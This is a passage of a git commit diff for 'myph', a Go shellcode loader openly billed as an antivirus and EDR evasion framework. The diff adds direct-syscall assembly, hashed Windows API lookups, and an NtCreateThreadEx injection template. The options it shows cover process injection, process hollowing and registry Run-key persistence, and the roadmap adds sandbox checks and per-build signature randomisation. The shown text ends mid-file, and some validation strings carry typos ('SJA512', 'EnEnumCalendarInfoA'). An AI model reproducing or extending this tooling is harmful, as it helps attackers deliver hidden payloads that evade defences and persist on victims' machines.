myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit fb5a8402b52a50237fe9b0f50b3ff98820d5d7d1
parent 94d48406f9fb7a7c80c984e981dfac3a0fa31c92
Author: djnn <[email protected]>
Date: Wed, 10 Jan 2024 20:41:23 +0100

Release v1.2.2

Diffstat:
M.gitignore | 3+++
MMakefile | 2+-
ANOTES.txt | 8++++++++
MREADME.md | 58+++++++++++++++++-----------------------------------------
MTODO.txt | 27++++++++++++++++++++-------
Mcli/defaults.go | 3+++
Mcli/parser.go | 52++++++++++++++++++++++++++++++++++++----------------
Mcli/types.go | 44++++++++++++++++++++++++++++++++++++++++++--
Mgo.mod | 1+
Mgo.sum | 2++
Ainternals/asm_x64.s | 59+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ainternals/defines.go | 94+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ainternals/hashes.go | 46++++++++++++++++++++++++++++++++++++++++++++++
Ainternals/runtime.go | 69+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mloaders/createFiber.go | 45++++++++++++++++++++++++++++++++++++++-------
Mloaders/createRemoteThread.go | 50+++++++++++++++++++++++++++++++++++++++++---------
Mloaders/createRemoteThreadEx.go | 91+++++++++++++++++++++++++++++--------------------------------------------------
Mloaders/createThread.go | 152+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----
Aloaders/enumCalendarInfoA.go | 92+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dloaders/enumcalendarinfoa.go | 59-----------------------------------------------------------
Mloaders/etwpCreateEtwThread.go | 48++++++++++++++++++++++++++++++++++++++++--------
Aloaders/ntCreateThreadEx.go | 253+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mloaders/processHollowing.go | 36++++++++++++++++++++++++++++++------
Mloaders/syscall.go | 145+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----
Mloaders/utils.go | 62+++++++++++++++++++++++++++++++++++++++-----------------------
Ascripts/hash_function.go | 42++++++++++++++++++++++++++++++++++++++++++
Mtools/utils.go | 24++++++++++++++++++++++++
Autils/utils | 0

28 files changed, 1317 insertions(+), 250 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -12,6 +12,9 @@
 myph
 myph-out/
 
+scripts/hash_function
+scripts/hash
+
 # Test binary, built with `go test -c`
 *.test
 
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
 # -------------------
 
 APP_NAME = myph
-APP_VERSION = 1.2.0
+APP_VERSION = 1.2.2
 GIT_REVISION = `git rev-parse HEAD`
 DOCKER_IMAGE_TAG ?= $(APP_VERSION)
 DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/NOTES.txt b/NOTES.txt
@@ -0,0 +1,8 @@
+#############################
+######### RESOURCES #########
+#############################
+
+- https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20workshops/DEF%20CON%2029%20Workshop%20Ben%20Kurtz%20Writing%20Golang%20Malwar.pdf
+
+- https://evasions.checkpoint.com
+
diff --git a/README.md b/README.md
@@ -28,9 +28,9 @@ make  # you can also use `make help` to check recipes
 go build -o myph .
 ```
 
-> You can also grab the latest release from [here](https://github.com/CMEPW/myph/releases/)
+> You can also grab the latest release from [here](https://github.com/mato7sh/myph/releases/)
 
-Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/CMEPW/myph) like so:
+Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/mato7sh/myph) like so:
 ```bash
 # /!\ lowercase is important /!\
 go install github.com/cmepw/myph@latest
@@ -39,50 +39,25 @@ go install github.com/cmepw/myph@latest
 ### Usage
 
 ```
-
-              ...                                        -==[ M Y P H ]==-
-             ;::::;
-           ;::::; :;                                    In loving memory of
-         ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
-        ;:::::;     ;.
-       ,:::::'       ;           OOO                       (1974 - 2016)
-       ::::::;       ;          OOOOO
-       ;:::::;       ;         OOOOOOOO
-      ,;::::::;     ;'         / OOOOOOO
-    ;::::::::: . ,,,;.        /  / DOOOOOO
-  .';:::::::::::::::::;,     /  /     DOOOO
- ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
-; :::::: '::::::;;;::::: ,#/  /          DOOO           to pop shells and
-: ::::::: ;::::::;;::: ;::#  /            DOOO        make the blue team cry
-:: ::::::: ;:::::::: ;::::# /              DOO
- : ::::::: ;:::::: ;::::::#/               DOO
- ::: ::::::: ;; ;:::::::::##                OO       written with <3 by djnn
- :::: ::::::: ;::::::::;:::#                OO                ------
- ::::: ::::::::::::;' :;::#                O             https://djnn.sh
-   ::::: ::::::::;  /  /  :#
-   :::::: :::::;   /  /    #
-
-Usage:
-  myph [flags]
-  myph [command]
-
 Available Commands:
   completion  Generate the autocompletion script for the specified shell
   help        Help about any command
   spoof       spoof PE metadata using versioninfo
 
 Flags:
-  -b, --builtype string      define the output type (allowed: exe, dll) (default "exe")
-  -e, --encryption encKind   encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
-  -h, --help                 help for myph
-  -k, --key string           encryption key, auto-generated if empty. (if used by --encryption)
-  -f, --out string           output name (default "payload.exe")
-  -z, --persistence string   name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
-  -p, --process string       target process to inject shellcode to (default "cmd.exe")
-  -s, --shellcode string     shellcode path (default "msf.raw")
-      --sleep-time uint      sleep time in seconds before executing loader (default: 0)
-  -t, --technique string     shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp) (default "CRT")
-  -v, --version              version for myph
+      --api-hashing-type string   Hashing algorithm used for API hashing (default "DJB2")
+  -d, --debug                     builds binary with debug symbols
+  -e, --encryption encKind        encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
+  -h, --help                      help for myph
+  -k, --key string                encryption key, auto-generated if empty. (if used by --encryption)
+  -f, --out string                output name (default "payload.exe")
+  -z, --persistence string        name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
+  -p, --process string            target process to inject shellcode to (default "cmd.exe")
+  -s, --shellcode string          shellcode path (default "msf.raw")
+      --sleep-time uint           sleep time in seconds before executing loader (default: 0)
+  -t, --technique string          shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp) (default "CRT")
+      --use-api-hashing           Use API Hashing
+  -v, --version                   version for myph
 ```
 
 #### Loader Methods
@@ -91,13 +66,14 @@ This tool supports few methods for now, but aims to add more as time goes on:
 - Syscall
 - CreateFiber
 - CreateThread
+- NtCreateThreadEx
 - Process hollowing
 - EnumCalendarInfoA
 - CreateRemoteThread
 - EtwpCreateEtwThread
 - CreateRemoteThreadEx
 
-If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~
 
 
 #### Example run
diff --git a/TODO.txt b/TODO.txt
@@ -1,17 +1,12 @@
 #############################
-####### ROADMAP 1.2.0 #######
+####### ROADMAP 1.2.3 #######
 #############################
 
 Misc:
     - support for loading API calls from PEB
-    - Refactoring CLI options to interfaces
     - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
 
 
-Encoders:
-    - add support for SGN
-
-
 #############################
 ####### ROADMAP 1.3.0 #######
 #############################
@@ -22,8 +17,11 @@ Commands:
 Sleep / jitter:
     - Ekko
 
+Encoders:
+    - add support for SGN
 
-dll:
+
+Dll:
     - hijacking techniques (teams/onedrive)
 
 Misc:
@@ -31,3 +29,18 @@ Misc:
     - support for dameonizing ?
     - introduce ppid spoofing ?
     - add support for passing arguments to payload from command-line
+
+
+#############################
+####### ROADMAP 1.4.0 #######
+#############################
+
+
+Misc:
+    - add support for attaching to new processes
+    - add support for multiple hashing algorithms for retrieving API calls through PEB
+    - add support for variable assignment randomization
+        -> should assign variables differently (as random as possible) in order to
+        have different signatures each time
+    - optionally implement sandbox checks
+
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -18,8 +18,11 @@ func GetDefaultCLIOptions() Options {
 		SleepTime:       0,
 		PEFilePath:      "payload.exe",
 		VersionFilePath: "goversion.json",
+		WithDebug:       false,
 		BuildType:       "exe",
 		Persistence:     "",
+		UseAPIHashing:   false,
+		APIHashingType:  "DJB2",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -43,17 +43,25 @@ const ASCII_ART = `
     `
 
 func BuildLoader(opts *Options) *exec.Cmd {
-    os.Setenv("GOOS", opts.OS)
-    os.Setenv("GOARCH", opts.Arch)
+	os.Setenv("GOOS", opts.OS)
+	os.Setenv("GOARCH", opts.Arch)
 	if opts.BuildType == "dll" {
 		os.Setenv("CGO_ENABLED", "1")
 		os.Setenv("CC", "x86_64-w64-mingw32-gcc")
 		fmt.Println("[*] Compiling payload as dll...")
 
+		if opts.WithDebug {
+			return exec.Command("go", "build", "-buildmode=c-shared", "-o", "payload.dll", ".")
+		}
+
 		return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
 	} else if opts.BuildType == "exe" {
 		fmt.Println("[*] Compiling payload as executable...")
 
+		if opts.WithDebug {
+			return exec.Command("go", "build", "-o", "payload.exe", ".")
+		}
+
 		return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
 	} else {
 		fmt.Printf("[!] Buildtype format not supported!")
@@ -63,7 +71,7 @@ func BuildLoader(opts *Options) *exec.Cmd {
 
 func GetParser(opts *Options) *cobra.Command {
 
-	version := "1.2.0"
+	version := "1.2.2"
 	var spoofMetadata = &cobra.Command{
 		Use:                "spoof",
 		Version:            version,
@@ -142,7 +150,7 @@ func GetParser(opts *Options) *cobra.Command {
 				os.Exit(1)
 			}
 
-			/* i got 99 problems but generating a random key aint one */
+			/* generating a random key if none are selected */
 			if opts.Key == "" {
 				opts.Key = tools.RandomString(32)
 			}
@@ -190,9 +198,6 @@ func GetParser(opts *Options) *cobra.Command {
 					panic(err)
 				}
 
-				fmt.Println("\n...downloading necessary library...")
-				fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
-
 				/* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
 				execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
 				execCmd.Dir = MYPH_TMP_DIR
@@ -207,9 +212,6 @@ func GetParser(opts *Options) *cobra.Command {
 					panic(err)
 				}
 
-				fmt.Println("\n...downloading necessary library...")
-				fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
-
 				/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
 				execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
 				execCmd.Dir = MYPH_TMP_DIR
@@ -224,6 +226,7 @@ func GetParser(opts *Options) *cobra.Command {
 				panic(err)
 			}
 
+			/* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */
 			persistData := ""
 			if opts.Persistence != "" {
 				persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
@@ -258,7 +261,7 @@ func GetParser(opts *Options) *cobra.Command {
 				panic(err)
 			}
 
-			templateFunc := loaders.SelectTemplate(opts.Technique)
+			templateFunc := loaders.SelectTemplate(opts.Technique, opts.UseAPIHashing, opts.APIHashingType)
 			if templateFunc == nil {
 				fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
 				os.Exit(1)
@@ -270,19 +273,33 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
 			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
+
+			if opts.UseAPIHashing {
+				execGoGetCmd := exec.Command("go", "get", "github.com/Binject/debug/pe")
+				execGoGetCmd.Dir = MYPH_TMP_DIR
+				_, _ = execGoGetCmd.Output()
+			}
+
 			execCmd := BuildLoader(opts)
 			execCmd.Dir = MYPH_TMP_DIR
 
-			_, stderr := execCmd.Output()
+			var stderr error
+			_, stderr = execCmd.Output()
 
 			if stderr != nil {
+
+				command := "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe"
+				if opts.BuildType == "dll" {
+					command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \"-s -w -H=windowsgui\" -o payload.dll"
+				}
+
 				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
 				fmt.Printf(
 					"\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n",
 					MYPH_TMP_DIR,
 					opts.OS,
 					opts.Arch,
-					"go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+					command,
 				)
 
 				fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
@@ -308,12 +325,15 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)")
-	rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)")
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
-	rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
+	rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols")
+	rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing")
+	// TODO(djnn): re-add this flag once supported
+	// rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
+	rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
 
 	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
 	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
diff --git a/cli/types.go b/cli/types.go
@@ -8,7 +8,15 @@ type encKind string
 // shellcode-loading technique kind (used for CLI)
 type technique string
 
+// API-hash method
+type apiHashTechnique string
+
 const (
+	DJB2   apiHashTechnique = "DJB2"
+	SHA1   apiHashTechnique = "SHA1"
+	SHA256 apiHashTechnique = "SHA256"
+	SHA512 apiHashTechnique = "SHA512"
+
 	EncKindAES encKind = "AES"
 	EncKindXOR encKind = "XOR"
 	EncKindBLF encKind = "blowfish"
@@ -18,6 +26,8 @@ const (
 	CRTx              technique = "CRTx"
 	ETWP              technique = "Etwp"
 	SYSCALL           technique = "Syscall"
+	SYSCALLTEST       technique = "SyscallTest"
+	NtCreateThreadEx  technique = "NtCreateThreadEx"
 	CreateFiber       technique = "CreateFiber"
 	CreateThread      technique = "CreateThread"
 	ProcessHollowing  technique = "ProcessHollowing"
@@ -25,6 +35,27 @@ const (
 )
 
 // String is used both by fmt.Print and by Cobra in help text
+func (e *apiHashTechnique) String() string {
+	return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *apiHashTechnique) Set(v string) error {
+	switch v {
+	case "DJB2", "SHA1", "SHA256", "SJA512":
+		*e = apiHashTechnique(v)
+		return nil
+	default:
+		return errors.New("must be one of \"DJB2\", \"SHA1\", \"SHA256\" or \"SHA512\"\n\n")
+	}
+}
+
+// Type is only used in help text
+func (e *apiHashTechnique) Type() string {
+	return "API Hash technique"
+}
+
+// String is used both by fmt.Print and by Cobra in help text
 func (e *encKind) String() string {
 	return string(*e)
 }
@@ -53,11 +84,11 @@ func (e *technique) String() string {
 // Set must have pointer receiver so it doesn't change the value of a copy
 func (e *technique) Set(v string) error {
 	switch v {
-	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "EnumCalendarInfoA", "Etwp":
+	case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA":
 		*e = technique(v)
 		return nil
 	default:
-		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"EnumCalendarInfoA\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+		return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\",  \"EnumCalendarInfoA\", \"Etwp\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
 	}
 }
 
@@ -104,6 +135,15 @@ type Options struct {
 	// PE filepath
 	PEFilePath string
 
+	// Builds with debug symbol
+	WithDebug bool
+
+	// Use API-hashing
+	UseAPIHashing bool
+
+	// API hashing algorithm
+	APIHashingType string
+
 	// Build type
 	BuildType string
 }
diff --git a/go.mod b/go.mod
@@ -3,6 +3,7 @@ module github.com/cmepw/myph
 go 1.19
 
 require (
+	github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
 	github.com/spf13/cobra v1.7.0
 	github.com/tc-hib/winres v0.2.0
 	golang.org/x/crypto v0.11.0
diff --git a/go.sum b/go.sum
@@ -1,3 +1,5 @@
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
+github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
 github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
 github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
diff --git a/internals/asm_x64.s b/internals/asm_x64.s
@@ -0,0 +1,59 @@
+#define maxargs 16
+//func runSyscall(callid uint16, argh ...uintptr) (uint32)
+TEXT ·runSyscall(SB), $0-56
+	XORQ AX,AX
+	MOVW callid+0(FP), AX
+	PUSHQ CX
+
+	//put variadic size into CX
+	MOVQ argh_len+16(FP),CX
+
+	//put variadic pointer into SI
+	MOVQ argh_base+8(FP),SI
+
+	// SetLastError(0).
+	MOVQ	0x30(GS), DI
+	MOVL	$0, 0x68(DI)
+	SUBQ	$(maxargs*8), SP	// room for args
+
+	// Fast version, do not store args on the stack.
+	CMPL	CX, $4
+	JLE	loadregs
+
+	// Check we have enough room for args.
+	CMPL	CX, $maxargs
+	JLE	2(PC)
+	INT	$3			// not enough room -> crash
+
+	// Copy args to the stack.
+	MOVQ	SP, DI
+	CLD
+	REP; MOVSQ
+	MOVQ	SP, SI
+
+loadregs:
+	SUBQ	$8, SP
+
+	// Load first 4 args into correspondent registers.
+	MOVQ	0(SI), CX
+	MOVQ	8(SI), DX
+	MOVQ	16(SI), R8
+	MOVQ	24(SI), R9
+
+	// Floating point arguments are passed in the XMM
+	// registers. Set them here in case any of the arguments
+	// are floating point values. For details see
+	//	https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
+
+	MOVQ	CX, X0
+	MOVQ	DX, X1
+	MOVQ	R8, X2
+	MOVQ	R9, X3
+	MOVQ CX, R10
+	SYSCALL
+	ADDQ	$((maxargs+1)*8), SP
+
+	// Return result.
+	POPQ	CX
+	MOVL	AX, errcode+32(FP)
+	RET
diff --git a/internals/defines.go b/internals/defines.go
@@ -0,0 +1,94 @@
+package internals
+
+/* stores hashed name for different functions here. */
+
+type ItemHash struct {
+	Name   string
+	Djb2   string
+	Sha1   string
+	Sha256 string
+	Sha512 string
+}
+
+var Libraries = []ItemHash{
+	{
+		Name:   "ntdll.dll",
+		Sha1:   "0ebd8d889e0e2c63b7a4361a8dfe00177cdd90bb",
+		Sha256: "9799dda2257cafa991aa38a16bca3fef8e1dc74a710a45540f92b1fa6bebb325",
+		Sha512: "40b2a7d054581eb002a782e52bdfa0fe3a3785bacb3f68417a8398ca36767789161444cf3730f9add8e336f238302677f1695fa85d86e2f38f774c22133a2c73",
+		Djb2:   "48974c2b9a61004",
+	},
+}
+
+var Ntdll = []ItemHash{
+	{
+		Name:   "LoadLibraryA",
+		Sha1:   "2ff89c407367034615a95207770da1a7646d47df",
+		Sha256: "ebe7efccb0a610c6a5c504c1c40e39b9c17ffcf22165a0cfc352ec24ae254bbf",
+		Sha512: "0769713cb7eeadc2cca33e363131b0ab52b1df0d9b1ad834dd6e4e5b8aa04e384d058039328cd11f8e526ba8f2aaf326f679d100f607ce118443cce079dcb82f",
+		Djb2:   "6e8ac3a04c15d943",
+	},
+	{
+		Name:   "VirtualAlloc",
+		Sha1:   "3567705df8e544d414d315f64ae47e5861b0f68a",
+		Sha256: "02bd37c1a0f05945da5b89a6bac0442c25ed41d4ef7faf5a0dbebc4a164717a4",
+		Sha512: "d07e14fb68a140227321c46c4a59cf1a9a821c0f0add4aa0bf9b9a875c3af974857855052e329d8d90491b4d4376e1249d6776f725ca763fe0f53cd84a7ff942",
+		Djb2:   "782024e6b5fe6881",
+	},
+	{
+		Name:   "VirtualProtect",
+		Sha1:   "69e06440b787b5b3fac43a60d3f019be95f63896",
+		Sha256: "9e14bfc8aef4a854ac77a1ae7ae1e0c3b072aec6c2da284164a0b9ea347fdaba",
+		Sha512: "77dad9a3279de993b2edff84ceae8c18ec4577f75bc3157694fe1349df9d99300e999d9d25f6619a839022dc96c037877d93bb89d83cb7600cdd544fbf059d14",
+		Djb2:   "7126a1d34679917e",
+	},
+	{
+		Name:   "RtlCopyMemory",
+		Sha1:   "638f1a50566e7a2aceaeeebc63980672611c32a0",
+		Sha256: "8c6f5c89104c0c4418fcda502146888ac9a255697f7aeb62171da677a6bf34b2",
+		Sha512: "4a7eab1b5ad1d3d71c105cdc50e47aa944b0c56cb00bb896a5ad652ccca4f9e1a8a84d757f3158aeec5104cb4b2d1f7923e21a5ba8f75180a112fda40722f70c",
+		Djb2:   "7a4c2ed807c8fcf1",
+	},
+	{
+		Name:   "NtProtectVirtualMemory",
+		Sha1:   "059637f5757d91ad1bc91215f73ab6037db6fe59",
+		Sha256: "a6290493ec0ae72f94b5e4507d63420e40d5e35404d99a583a62acfedddfd848",
+		Sha512: "e07953c6b45a10b35f74686e9723e3ce65b3506332231c314ff88cb9b86824c756aa9ec1642a55e7fbf0521d9e68e6b09b4c423327ab780100d92a0961d4c250",
+		Djb2:   "a9a7b2ecdd745a31",
+	},
+	{
+		Name:   "NtAllocateVirtualMemory",
+		Sha1:   "04262a7943514ab931287729e862ca663d81f515",
+		Sha256: "078b183f59677940916dc1da6726b10497d230dff219f845c7d04c1f0425c388",
+		Sha512: "15cf362b1abdc2792899e7e451e2c7e0668ff0bf5df6b9a4fa92082b6abd77c8c14ec684c98af255f6cd2af58c72a810332887aa0e18b076dd58da2b1bc1bea0",
+		Djb2:   "32b0ac787d4dba31",
+	},
+	{
+		Name:   "NtCreateThreadEx",
+		Sha1:   "91958a615f982790029f18c9cdb6d7f7e02d396f",
+		Sha256: "a3b64f7ca1ef6588607eac4add97fd5dfbb9639175d4012038fc50984c035bcd",
+		Sha512: "ef9ef2ae72efe49a5eff53df67fc402e49d2324eef4bc6dbb6f3797d9a1f00f82089620103a29aef6be741c0e19d469855cad7cc023a05685b2399ee10065fa0",
+		Djb2:   "76d3925c21b6534a",
+	},
+	{
+		Name:   "NtWriteVirtualMemory",
+		Sha1:   "6caed95840c323932b680d07df0a1bce28a89d1c",
+		Sha256: "6d51355d37c96dec276ee56a078256831610ef9b42287e19e1b85226d451410b",
+		Sha512: "f07fcea516c70bda3cb17f3010d2d03ea426a79e4ca181668728ce02a93c39673d8e38de51f68574034f3dfa87eb5f98d3e279015673194b5bee86fa2eb8ac12",
+		Djb2:   "9ca2ab4726e0ba31",
+	},
+	{
+		Name:   "CreateThread",
+		Sha1:   "2a953ace6c3950520c4153060e35679648967981",
+		Sha256: "0fe39db340c2fe54c68e77ff65754d08137aae006286e8b8e5f20cc5451e9f22",
+		Sha512: "855848ae8b96ad61d7288ac5eb42f54069dcb242201bc3b3df7a21b8f4e4fd70324e7a514ec710a75b7b1cc3a219da75cb49cd6a99e33172e41ed80b35c9e348",
+		Djb2:   "65dd5ebc0ad0132a",
+	},
+	{
+		Name:   "WaitForSingleObject",
+		Sha1:   "681e778499375c2fb42da094ca5119ae773c189b",
+		Sha256: "6a98c5468e3cd5c8fec2ed81dcfb6c653bfe56289debe0e1089c92dc8eff744f",
+		Sha512: "a06ee8da37a43a240267a122a8ea85fbf9e0b403e140e13ea3504bff2004e1902df4542e5d5b821439ab73633d2405cf8c1c4ccdef288c26e8ecfa07be49cae8",
+		Djb2:   "aabf4c35522cfc3e",
+	},
+}
diff --git a/internals/hashes.go b/internals/hashes.go
@@ -0,0 +1,46 @@
+package internals
+
+import (
+	"crypto/sha1"
+	"crypto/sha256"
+	"crypto/sha512"
+	"fmt"
+)
+
+/*
+   holds the different hashing algorithms available for this loader
+*/
+
+func HashSHA1(toHash string) string {
+	h := sha1.New()
+	h.Write([]byte(toHash))
+	bs := h.Sum(nil)
+
+	return fmt.Sprintf("%x", bs)
+}
+
+func HashSHA256(toHash string) string {
+	h := sha256.New()
+	h.Write([]byte(toHash))
+	bs := h.Sum(nil)
+
+	return fmt.Sprintf("%x", bs)
+}
+
+func HashSHA512(toHash string) string {
+	h := sha512.New()
+	h.Write([]byte(toHash))
+	bs := h.Sum(nil)
+
+	return fmt.Sprintf("%x", bs)
+}
+
+func HashDJB2(input string) string {
+	hash := uint64(5381)
+
+	for _, b := range input {
+		hash += uint64(b) + hash + hash<<5
+	}
+
+	return fmt.Sprintf("%x", hash)
+}
diff --git a/internals/runtime.go b/internals/runtime.go
@@ -0,0 +1,69 @@
+package internals
+
+/*
+   slightly adapted from hooka loader
+
+   i could have just yoinked the code and used it like that but i plan to
+   do different things in the future, which will need me to implement things
+   differently, but this is an excellent base if you want to get started
+   or use a more stable loader :)
+
+
+*/
+
+import (
+	"encoding/binary"
+	"errors"
+
+	"github.com/Binject/debug/pe"
+)
+
+func rva2offset(pe *pe.File, rva uint32) uint32 {
+	for _, hdr := range pe.Sections {
+		baseoffset := uint64(rva)
+		if baseoffset > uint64(hdr.VirtualAddress) &&
+			baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
+			return rva - hdr.VirtualAddress + hdr.Offset
+		}
+	}
+	return rva
+}
+
+func HashedCall(callid uint16, argh ...uintptr) uintptr {
+	rvalue := runSyscall(callid, argh...)
+	return uintptr(rvalue)
+}
+
+func runSyscall(callid uint16, argh ...uintptr) (errcode uint32)
+
+func LoadFunctionFromHash(
+	hashing_algorithm func(string) string,
+	hashedName string,
+	dll *pe.File,
+) (uint16, error) {
+
+	/* retrieve function exports */
+	exports, err := dll.Exports()
+	if err != nil {
+		return 0, err
+	}
+
+	for _, x := range exports {
+
+		/* hash every export & compare against base hash */
+		if hashing_algorithm(x.Name) == hashedName {
+
+			/* get in-memory offset from rva */
+			offset := rva2offset(dll, x.VirtualAddress)
+			dllBytes, err := dll.Bytes()
+			if err != nil {
+				return 0, errors.New("could not retrieve bytes from dll...")
+			}
+
+			buff := dllBytes[offset : offset+10]
+			sysId := binary.LittleEndian.Uint16(buff[4:8])
+			return sysId, nil
+		}
+	}
+	return 0, errors.New("Function not found")
+}
diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -2,20 +2,23 @@ package loaders
 
 import (
 	"fmt"
+	"strings"
 )
 
-func GetCreateFiberTemplate(targetProcess string) string {
-	InformProcessUnused(targetProcess)
+type CreateFiberTemplate struct{}
 
+func (t CreateFiberTemplate) Import() string {
 	return fmt.Sprintf(`
-package main
-
 import (
 	"os"
 	"unsafe"
     "syscall"
 )
+`)
+}
 
+func (t CreateFiberTemplate) Const() string {
+	return fmt.Sprintf(`
 const (
 	MEM_COMMIT          = 0x1000
 	MEM_RESERVE         = 0x2000
@@ -35,10 +38,16 @@ var (
 	SwitchToFiber           = kernel32.MustFindProc("SwitchToFiber")
     RtlCopyMemory           = ntdll.MustFindProc("RtlCopyMemory")
 )
+`)
+}
 
